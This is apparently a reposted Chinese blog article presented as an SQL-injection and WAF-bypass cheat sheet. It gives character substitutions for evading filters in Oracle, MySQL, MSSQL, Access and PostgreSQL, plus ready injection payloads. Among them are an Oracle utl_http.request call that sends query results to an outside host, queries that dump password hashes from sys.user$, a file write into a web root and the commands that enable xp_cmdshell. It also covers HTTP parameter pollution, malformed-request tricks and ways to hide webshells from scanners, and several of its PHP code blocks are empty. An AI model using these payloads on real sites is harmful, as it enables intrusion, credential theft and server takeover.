数据库语法整理及WAF绕过方式
数据库语法整理及WAF绕过方式
关系型数据库
关系型数据库:指采用了关系模型来组织数据的数据库。
直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织
当今主流的关系型数据库有:Oracle,Microsoft SQL Server,MySQL,PostgreSQL,DB2, Microsoft Access, SQLite,MariaDB
Oracle
Oracle特性:
1 | select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin |
位置一
- 可利用其他控制字符替换空格:
%00、%09、%0a、%0b、%0c、%0d - 可利用其他符号:
.
- 可利用其他控制字符替换空格:
位置二
- 可利用其他控制字符替换空格:
%00、%09、%0a、%0b、%0c、%0d
- 可利用其他控制字符替换空格:
位置三
- 可利用其他控制字符替换空格:
%00、%09、%0a、%0b、%0c、%0d - 可利用其他符号:
+、-、%ad
- 可利用其他控制字符替换空格:
位置四
- 可利用其他控制字符替换空格:
%00、%09、%0a、%0b、%0c、%0d
- 可利用其他控制字符替换空格:
位置五
- 可利用其他控制字符替换空格:
%00、%09、%0a、%0b、%0c、%0d - 可插入字符:
%24、`%30-%ff
- 可利用其他控制字符替换空格:
MySQL
MySql语法:
- 绕过逗号过滤
1 | 原码:union select 1,2,3,4; |
MySql特性:
1 | select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin |
位置一
- 可利用其他控制字符替换空格:
%09,%0a,%0b,%0c,%0d,%20,%a0。 - 可利用注释符号:
/**/、#、--+
1
Select/**/*/**/from/**/[dbo].[Users]/**/where id =1
- 可利用数学运算以及数据类型:news_id=1.1,news_id=1E0,news_id=\N
- 可利用其他控制字符替换空格:
位置二
- 可利用其他控制字符替换空格:
%09,%0a,%0b,%0c,%0d,%20,%a0。 - 可利用注释符号:
/**/、#、--+ - 可利用括号 :union(select 1,2)
- 可利用其他控制字符替换空格:
位置三
- 可利用其他控制字符替换空格:
%09,%0a,%0b,%0c,%0d,%20,%a0。 - 可利用注释符号:
/**/、#、--+ - 可利用其他符号:
+、-、~、!、@
- 可利用其他控制字符替换空格:
位置四
可利用其他控制字符替换空格:
%09,%0a,%0b,%0c,%0d,%20,%a0。可利用注释符号:
/**/、#、--+可利用数学运算以及数据类型:union select user(),2.0from admin
union select user(),8e0from admin
union select user(),\Nfrom admin
位置五
- 可利用其他控制字符替换空格:
%09,%0a,%0b,%0c,%0d,%20,%a0。 - 可利用注释符号:
/**/、#、--+
- 可利用其他控制字符替换空格:
全局位置
- 可利用 反引号 号:
1
union select 1 schema_name from `information_schema.SCHEMATA` limit 0,1)
- 可利用内联注释:
1
union select 1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/ limit 0,1)
- 可利用
{}号:
1
id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
- 可利用
()号:
1
id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
MSSQL
MSSQL特性:
1 | select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin |
位置一
- 可利用其他控制字符替换空格:
%01~%0F、%11~%1F。 - 可利用注释符号:/**/
- 可利用数学运算以及数据类型:news_id=1.1,news_id=1e0,news_id=1-1
- 可利用其他控制字符替换空格:
位置二
- 可利用其他控制字符替换空格:
%01~%0F、%11~%1F。 - 可利用注释符号:/**/
- 可利用冒号:union:slect
- 可利用其他控制字符替换空格:
位置三
- 可利用其他控制字符替换空格:
%01~%0F、%11~%1F。 - 可利用注释符号:/**/
- 可利用其他符号:
+、-、~、:、.
- 可利用其他控制字符替换空格:
位置四
可利用其他控制字符替换空格:
%01~%0F、%11~%1F。可利用注释符号:/**/
可利用其他字符:%80~%FF
位置五
可利用其他控制字符替换空格:
%01~%0F、%11~%1F。可利用注释符号:/**/
可利用冒号:union:select
可利用其他字符:
:、.、%80~%FF
Access
Access特性:
1 | select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin |
位置一
- 可利用其他控制字符替换空格:
%09、%0a、%0c、%0d、%16
- 可利用其他控制字符替换空格:
位置二
- 可利用其他控制字符替换空格:
%09、%0a、%0c、%0d
- 可利用其他控制字符替换空格:
位置三
- 可利用其他控制字符替换空格:
%09、%0a、%0c、%0d - 可利用其他符号:
+、-、.、=
- 可利用其他控制字符替换空格:
位置四
- 可利用其他控制字符替换空格:
%09、%0a、%0c、%0d
- 可利用其他控制字符替换空格:
位置五
- 可利用其他控制字符替换空格:
%09、%0a、%0c、%0d
- 可利用其他控制字符替换空格:
PostgreSQL
数据库特性
- Postgresql 字符串
- Postgres 输入的所有字符串都被认为是 Unknown 类型
- Unknown 类型有两种输入模式:
- 单引号转义模式;
- 美元符逃逸模式;
- 在单引号转义模式中允许使用前缀 E/U/B/X 表示转义字符串/Unicode 字符串/位串。
- 其中 E 表示进行 C 语言风格的转义;
- U 表示进行 Unicode 转义,并支持自定义转义符;
- B 和 X 代表后续跟随的是一个 bit 序列;
PostgreSQL特性:
1 | select id,contents,time from news where news_id=1 ① union ② select ③ 1,2,db_name() ④ from ⑤ admin |
位置一
- 可利用其他控制字符替换空格:
%09、%0a、%0c、%0d - 可利用其他符号:
.、!
- 可利用其他控制字符替换空格:
位置二
- 可利用其他控制字符替换空格:
%09、%0a、%0c、%0d
- 可利用其他控制字符替换空格:
位置三
- 可利用其他控制字符替换空格:
%09、%0a、%0c、%0d - 可利用其他符号:
+、-、.、~、@
- 可利用其他控制字符替换空格:
位置四
- 可利用其他控制字符替换空格:
%09、%0a、%0c、%0d
- 可利用其他控制字符替换空格:
位置五
- 可利用其他控制字符替换空格:
%09、%0a、%0c、%0d - 可插入字符:
%24、%30-%ff
- 可利用其他控制字符替换空格:
绕过方式:
另类字符集编码绕过
即使用其他不同的编码方式来配合绕过


编码网址:https://www.compart.com/en/unicode/charsets
另附编码方式对应的网站类型:

非关系型数据库
非关系型数据库都是针对某些特定的应用需求出现的,因此,对于该类应用,具有极高的性能。
主流代表为Redis, Amazon DynamoDB, Memcached,Microsoft Azure Cosmos DB和Hazelcast
如何判断各数据库
| Oracle | MySQL | MSSQL | PostgreSQL | |
|---|---|---|---|---|
| 获取长度 | length()、lengthb() | length()、char_length() | ||
| 获取版本 | select wm_concat(banner) from v$version; | @@version、version() | @@version | version() |
| 连接字符串 | ‘abc’ | ‘def’ | ‘abc’ ‘def’ |
注意:
- Oracle 只能用 substr ()不能使用 substring()
1 | select substr('HelloWorld',5,3) value from dual; //返回结果:oWo |
- 使用如下可判断是否为Oracle
1 | (Select user from dual)>0 |
#注释符为MySQL独有
SQL注入总结
绕过过滤规则
- 使用空字节%00等绕过WAF
- 过滤空格的情况,使用 tab 或%09 或/**/代替:
1 | '%09o+r%091=(select%09cast((decode((ascii(substr((select%09user%09from%09dual),'1',1))),73,'1','yy'))%09as%09int)%09from%09dual)%09o+r%09'1'='1 |
- 过滤 and 和 or 的情况,在中间加一个被过滤字符、或使用&&和||代替
- CONCAT(‘0x’,HEX(‘c:\boot.ini’));
- (CHaR(75)||CHaR(76)||CHaR(77))(使用+或||或 concat)
主流数据库注入案例
Oracle 注入
- Time-based
1 | Select utl_http.request('http://host/ '||({INJECTION})||'.html') |
- Error-based
1 | 1=2 or 1=ordsys.ord_dicom.getmappingxpath({SQL in HERE},'a','b'); |
- 按位数猜字符
1 | '||(cast((decode(bitand(ascii((select substr(({SQL injection}),1,1) from dual)),1),0,1,'bbb')) as int))||'; |
- order by 注入
1 | select id,name from usertest order by decode(1,cast((select decode(({SQL injection}),{猜测的内容},1,'a') from dual) as int),1,1); |
Tips
- 获取账户信息
1 | select name, password, astatus from sys.user$; |
- 获取当前用户
1 | select username from user_users/all_users/dba_users; |
- 是否为 DBA 登录
1 | select sys_context('USERENV','ISDBA') from dual; |
- 获取当前用户名
1 | select sys_context('USERENV','SESSION_USER') from dual; |
- 获取当前终端
1 | select userenv('terminal') from dual; |
- 获取系统用户名
1 | select sys_context('USERENV','OS_USER') from dual; |
- 获取数据库名
1 | select sys_context('USERENV','DB_NAME') from dual; |
- 获取当前 IP
1 | select sys_context('USERENV','IP_ADDRESS') from dual; |
- 获取当前数据库
1 | select global_name from global_name; |
- 获取表名
1 | select table_name from all_tables where owner='xxx'; |
- 获取列名
1 | select owner,table_name,column_name from all_tab_columns where table_name='xxx'; |
MySQL 注入
- Time-based
1 | Sleep(10) |
- Error-based
1 | # 大整数溢出报错 |
- Error-based / blind
1 | # insert into 注入 |
- order by 注入
1 | Order by id,if(1=1,1,(select 1 from information_schema.tables)); |
Tips
- 写入文件
1 | Select '0x123456789' into outfile '/webroot/evil.txt' |
- 获取列名
1 | select id,user,pwd from user where user='root' and left(pwd,0)= ''; |
MSSQL 注入
- Time-based
1 | ;waitfor delay‘0:0:5’; |
- Error-based
1 | ?id=@@version; |
Tips
- 判断是否开启 xp_cmdshell
1 | and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'); |
- 开启 xp_cmdsell
1 | EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; |
PortgreSQL 注入
- Time-based
1 | Pg_sleep(5); |
- Error-based
注入语句示例
1 | &()o1: select * from users where id=1 or (\)=1 union select 1,@@VERSION -- 1 |
WAF及绕过姿势
什么是WAF?
WAF全称Web application firewall,
WAF的主流形态有哪些?
云WAF:阿里云盾、腾讯网站管家、创宇盾、CloudFlare等
软件类:安全狗、云锁、360主机卫士、ModSecurity等
硬件类:启明星辰、绿盟、天融信、飞塔等
WAF的绕过角度:架构、规则特性、协议
0X01 架构层面绕过
1、 寻找真实IP
- 云WAF通过修改DNS解析隐藏了真实IP地址
- 查找域名解析记录
- 利用邮件发送功能来抓包,获取真实IP
2、 畸形数据包 BYPASS
- GET型请求转POST型
- Content-Length头长度大于4008
- 正常参数放在垃圾数据后面
0X02 规则特性绕过
1、IIS+ASP 绕过(%)
特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。

2、IIS+aspx 绕过(%u)
IIS服务器支持对于unicode的解析,如 s%u006c%u0006ect,IIS收到之后会被转换为select,但对于WAF层,可能还是 s%u006c%u0006ect 。
1 | WAF:s%u006c%u0006ect * from user; |
| 字符 | Unicode编码 |
|---|---|
| a | %u0000,%u0041,%u0061,%u00aa,%u00e2 |
| 单引号 | %u0027,%u02b9,%u02bc,%u02c8,%u2032,%uff07,%c0%27,%c0%a7,%e0%80%a7 |
| 空白 | %u0020,%uff00,%c0%20,%c0%a0,%e0%80%a0 |
| 左括号 | %u0028,%uff08,%c0%28,%c0%a8,%e0%80%a8 |
| 右括号 | %u0029,%uff09,%c0%29,%c0%a9,%e0%80%a9 |
3、IIS+asp|aspx(HPP)
HPP是指HTTP参数污染 HTTP Parameter Pollution。当查询字符串多次出现同一个参数时,根据容器不同会得到不同的结果。
例如对于下面的urlhttp://www.xxx.com/HttpPar.php?str=hello&str=world&str=xxser来说:php在取值时只输出最后一个参数,输出为:xsser。而对于urlhttp://xxx.xxx.com/HttpParServlet?str=hello&str=world&str=xxser来说,HttpParServlet.java取到的结果为hello,这就是HTTP参数污染。
WAF绕过示例:
1 | PHP:News.php?id=1&id=select username,password from admin-- |
下表中列举了一些主流环境下的HPP情况以供查阅:
| Technology/HTTP back-end | Overall Parsing Result | Example |
|---|---|---|
| ASP.NET/IIS | All occurrences of the specific parameter | Par1=val1,val2 |
| ASP/IIS | All occurrences of the specific parameter | Par1=val1,val2 |
| PHP/Apache | Last occurrence | Par1=val2 |
| PHP/Zeus | Last occurrence | Par1=val2 |
| Jsp,Servlet/Apache Tomcat | First occurrence | Par1=val1 |
| Jsp,Servlet/Oracle Application Server 10g | First occurrence | Par1=val1 |
| Jsp,Servlet/Jetty | First occurrence | Par1=val1 |
| IBM Lotus Domino | Last occurrence | Par1=val2 |
| IBM HTTP Server | First occurrence | Par1=val1 |
| mod_perl,libapreq2/Apache | First occurrence | Par1=val1 |
| Perl CGI/Apache | First occurrence | Par1=val1 |
| mod_perl,lib???/Apache | Becomes an array | ARRAY(0x8b9059c) |
| mod_wsgi(Python)/Apache | First occurrence | Par1=val1 |
| Python/Zope | Becomes an array | [‘val1’,‘val2’] |
| IceWarp | Last occurrence | Par1=val2 |
| AXIS 2400 | All occurrences of the specific parameter | Par1=val1,val2 |
| Linksys Wireless-G PTZ Internet Camera | Last occurrence | Par1=val2 |
| Ricoh Aficio 1022 Printer | First occurrence | Par1=val1 |
| webcamXP PRO | First occurrence | Par1=val1 |
| DBManAll | occurrences of the specific parameter | Par1=val1~~val2 |
4、Apache 2.x (畸形method)
某些WAF在处理数据的时候严格按照GET、POST等标准HTTP方法来获取数据,或者采用正则匹配的方式来处理数据,可能因为WAF和WEB服务解析的前后不对等绕过WAF。
示例如下,某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容:

5、Nginx+Lua WAF(突破参数限制)
WAF在实际环境中为防止拒绝服务式攻击 (denial of service attacks),默认最多解析前 100 个请求参数 (包括同名的),更多的参数将直接忽略。
默认情况下,通过ngx.req.get_uri_args、ngx.req.get_post_args获取uri参数,只能获取前100个参数
存在环境:Nginx+Lua WAF

6、PHP(变换请求方式)
假如php里使用$_REQUEST获取参数,那么php获取参数的默认优先级是:$_COOKIE > $_POST > $_GET。此时WAF层只过滤get/post,但没有过滤cookie,于是导致了绕过。
如下图,即使更换了HTTP请求方法,仍然完成了数据传递。

7、PHP + Apache (畸形的boundary)
PHP在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为—-aaaa,123456,PHP解析的时候只识别了—-aaaa,后面的内容均没有识别。然而其他的如WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现BYPASS。

WebShell介绍及绕过
Webshell原理
Webshell的恶意性(Backdoor)表现在它的实现功能上,是一段带有恶意目的的正常脚本代码。

Webshell绕过
- 中国菜刀
- 接收的参数内部混淆加密过WAF Content-Type:application/x-www-form-urlencoded
- 修改User-Agent
- 在服务器端解密的webshell
- XISE菜刀
- URLdecode
- SpiderEval
- 传递的参数中chr()+base64
- 蚁剑
- base64 payload前增加几个字符
- 打破4的倍数使base64无法正常解码
- 生成一个随机的字符加在原始payload之前,再在一句话客户端忽略第一个字符
- 冰蝎
- Get形式发起带密码的握手请求
- 客户端利用AES加密,发送至服务端
- 服务端收到之后先进行AES解密
- 服务端利用explode函数将拆分为一个字符串数据
- 可变函数方式调用索引为0的数组元素
PHP一句话绕过
1. 字符串变形绕过
字符串变形多数用于BYPASS安全狗,相当对于D盾,安全狗更加重视”形” 一个特殊的变形就能绕过安全狗
1 | ucwords() //函数把字符串中每个单词的首字符转换为大写。 |
- substr_replace() 变形绕过
1 |
|
2. 定义函数绕过
定义一个函数把关键词分割达到bypass效果
1 |
|
3. 回调函数绕过
1 | call_user_func_array() |
回调函数大部分已经被安全软件加入全家桶套餐,所以找到一个生僻的不常用的回调函数来执行,比如:
1 |
|
4. 回调函数变形绕过
因为前面总结出众多回调函数已经被加入豪华套餐,所以可以定义个函数调用。
1 |
|
5. 特殊字符干扰
1 |
|
6. 数组绕过
1 |
|
7. 编码绕过
简单的base64_decode,其中因为正则匹配可以加入一些下划线干扰
1 |
|
总结
所有的Bypass都是在随着WAF的升级而不断的变化,没有唯一固定的绕过方式!
原文链接请点击:https://www.cnblogs.com/ruoli-s/p/15355611.html
本文作者: ruoli-s


